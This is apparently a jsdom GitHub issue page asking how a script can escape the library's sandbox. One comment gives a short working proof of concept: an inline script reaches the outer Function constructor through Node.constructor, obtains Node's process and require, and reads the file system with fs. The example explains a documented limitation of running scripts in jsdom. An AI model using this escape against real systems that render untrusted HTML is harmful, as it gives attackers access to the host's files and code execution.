Jsdom: How can a script escape the sandbox?

Created on 30 Nov 2019 · 1Comment · Source: jsdom/jsdom

The documentation states:

The jsdom sandbox is not foolproof, and code running inside the DOM's

>All comments

Here is a small example by extracting the Function from the Node.js environment.

const { JSDOM } = require("jsdom");

new JSDOM(`
<body>
  <script>
    const outerRealmFunctionConstructor = Node.constructor;
    const process = new outerRealmFunctionConstructor("return process")();
    const require = process.mainModule.require;

    // Game over!
    const fs = require('fs');
    console.log(fs.readdirSync('.'));
  </script>
</body>
`, { 
  runScripts: "dangerously" 
});